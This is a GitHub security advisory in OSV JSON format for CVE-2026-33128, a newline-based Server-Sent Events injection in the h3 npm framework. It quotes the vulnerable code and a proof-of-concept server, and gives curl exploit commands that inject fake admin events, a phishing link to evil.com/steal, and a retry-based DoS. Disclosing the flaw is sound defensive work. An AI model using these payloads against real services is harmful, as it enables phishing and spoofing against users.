CVE-2026-33128: H3 H3 Has A Server-Sent Events Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-22cc-p3c6-wpvm",
  "modified" : "2026-03-20T21:27:39Z",
  "published" : "2026-03-18T16:17:43Z",
  "aliases" : [ "CVE-2026-33128" ],
  "summary" : "h3 has a Server-Sent Events Injection via Unsanitized Newlines in Event Stream Fields",
  "details" : "## Summary\n\n`createEventStream` in h3 is vulnerable to Server-Sent Events (SSE) injection due to missing newline sanitization in `formatEventStreamMessage()` and `formatEventStreamComment()`. An attacker who controls any part of an SSE message field (`id`, `event`, `data`, or comment) can inject arbitrary SSE events to connected clients.\n\n## Details\n\nThe vulnerability exists in `src/utils/internal/event-stream.ts`, lines [170](https://github.com/h3js/h3/blob/52c82e18bb643d124b8b9ec3b1f62b081f044611/src/utils/internal/event-stream.ts#L170)-[187](https://github.com/h3js/h3/blob/52c82e18bb643d124b8b9ec3b1f62b081f044611/src/utils/internal/event-stream.ts#L187):\n\n```typescript\nexport function formatEventStreamComment(comment: string): string {\n  return `: ${comment}\\n\\n`;\n}\n\nexport function formatEventStreamMessage(message: EventStreamMessage): string {\n  let result = \"\";\n  if (message.id) {\n    result += `id: ${message.id}\\n`;\n  }\n  if (message.event) {\n    result += `event: ${message.event}\\n`;\n  }\n  if (typeof message.retry === \"number\" && Number.isInteger(message.retry)) {\n    result += `retry: ${message.retry}\\n`;\n  }\n  result += `data: ${message.data}\\n\\n`;\n  return result;\n}\n```\n\nThe SSE protocol (defined in the [WHATWG HTML spec](https://html.spec.whatwg.org/multipage/server-sent-events.html#event-stream-interpretation)) uses newline characters (`\\n`) as field delimiters and double newlines (`\\n\\n`) as event separators.\n\nNone of the fields (`id`, `event`, `data`, comment) are sanitized for newline characters before being interpolated into the SSE wire format. If any field value contains `\\n`, the SSE framing is broken, allowing an attacker to:\n\n1. **Inject arbitrary SSE fields** — break out of one field and add `event:`, `data:`, `id:`, or `retry:` directives\n2. **Inject entirely new SSE events** — using `\\n\\n` to terminate the current event and start a new one\n3. **Manipulate reconnection behavior** — inject `retry: 1` to force aggressive reconnection (DoS)\n4. **Override Last-Event-ID** — inject `id:` to manipulate which events are replayed on reconnection\n\n### Injection via the `event` field\n\n```\nIntended wire format:        Actual wire format (with \\n injection):\n\nevent: message               event: message\ndata: attacker: hey          event: admin              ← INJECTED\n                             data: ALL_USERS_HACKED    ← INJECTED\n                             data: attacker: hey\n```\n\nThe browser's `EventSource` API parses these as two separate events: one `message` event and one `admin` event.\n\n### Injection via the `data` field\n\n```\nIntended:                    Actual (with \\n\\n injection):\n\nevent: message               event: message\ndata: bob: hi                data: bob: hi\n                                                        ← event boundary\n                             event: system              ← INJECTED event\n                             data: Reset: evil.com      ← INJECTED data\n```\n\nBefore exploit:\n<img width=\"700\" height=\"61\" alt=\"image\" src=\"https://github.com/user-attachments/assets/d9d28296-0d42-40d7-b79c-d337406cbfc9\" />\n\n<img width=\"713\" height=\"228\" alt=\"image\" src=\"https://github.com/user-attachments/assets/5a52debc-2775-4367-b427-df4100fe2b8e\" />\n\n## PoC\n\n### Vulnerable server (`sse-server.ts`)\n\nA realistic chat/notification server that broadcasts user input via SSE:\n\n```typescript\nimport { H3, createEventStream, getQuery } from \"h3\";\nimport { serve } from \"h3/node\";\n\nconst app = new H3();\nconst clients: any[] = [];\n\napp.get(\"/events\", (event) => {\n  const stream = createEventStream(event);\n  clients.push(stream);\n  stream.onClosed(() => {\n    clients.splice(clients.indexOf(stream), 1);\n    stream.close();\n  });\n  return stream.send();\n});\n\napp.get(\"/send\", async (event) => {\n  const query = getQuery(event);\n  const user = query.user as string;\n  const msg = query.msg as string;\n  const type = (query.type as string) || \"message\";\n\n  for (const client of clients) {\n    await client.push({ event: type, data: `${user}: ${msg}` });\n  }\n\n  return { status: \"sent\" };\n});\n\nserve({ fetch: app.fetch });\n```\n\n### Exploit\n\n```bash\n# 1. Inject fake \"admin\" event via event field\ncurl -s \"http://localhost:3000/send?user=attacker&msg=hey&type=message%0aevent:%20admin%0adata:%20SYSTEM:%20Server%20shutting%20down\"\n\n# 2. Inject separate phishing event via data field\ncurl -s \"http://localhost:3000/send?user=bob&msg=hi%0a%0aevent:%20system%0adata:%20Password%20reset:%20http://evil.com/steal&type=message\"\n\n# 3. Inject retry directive for reconnection DoS\ncurl -s \"http://localhost:3000/send?user=x&msg=test%0aretry:%201&type=message\"\n```\n\n### Raw wire format proving injection\n\n```\nevent: message\nevent: admin\ndata: ALL_USERS_COMPROMISED\ndata: attacker: legit\n\n```\n\nThe browser's `EventSource` fires this as an `admin` event with data `ALL_USERS_COMPROMISED` — entirely controlled by the attacker.\n\nProof:\n\n<img width=\"856\" height=\"275\" alt=\"image\" src=\"https://github.com/user-attachments/assets/111d3fde-e461-4e44-8112-9f19fff41fec\" />\n\n<img width=\"950\" height=\"156\" alt=\"image\" src=\"https://github.com/user-attachments/assets/ff750f9c-e5d9-4aa4-b48a-20b49747d2ab\" />\n\n\n## Impact\n\nAn attacker who can influence any field of an SSE message (common in chat applications, notification systems, live dashboards, AI streaming responses, and collaborative tools) can inject arbitrary SSE events that all connected clients will process as legitimate.\n\n**Attack scenarios:**\n\n- **Cross-user content injection** — inject fake messages in chat applications\n- **Phishing** — inject fake system notifications with malicious links\n- **Event spoofing** — trigger client-side handlers for privileged event types (e.g., `admin`, `system`)\n- **Reconnection DoS** — inject `retry: 1` to force all clients to reconnect every 1ms\n- **Last-Event-ID manipulation** — override the event ID to cause event replay or skipping on reconnection\n\nThis is a framework-level vulnerability, not a developer misconfiguration — the framework's API accepts arbitrary strings but does not enforce the SSE protocol's invariant that field values must not contain newlines.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "h3"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.0.0"
      }, {
        "fixed" : "2.0.1-rc.15"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.0.1-rc.14"
    }
  }, {
    "package" : {
      "ecosystem" : "npm",
      "name" : "h3"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.15.6"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/h3js/h3/security/advisories/GHSA-22cc-p3c6-wpvm"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-33128"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/h3js/h3/commit/7791538e15ca22437307c06b78fa155bb73632a6"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/h3js/h3"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/h3js/h3/blob/52c82e18bb643d124b8b9ec3b1f62b081f044611/src/utils/internal/event-stream.ts#L170-L187"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-93" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-18T16:17:43Z",
    "nvd_published_at" : "2026-03-20T10:16:19Z"
  }
}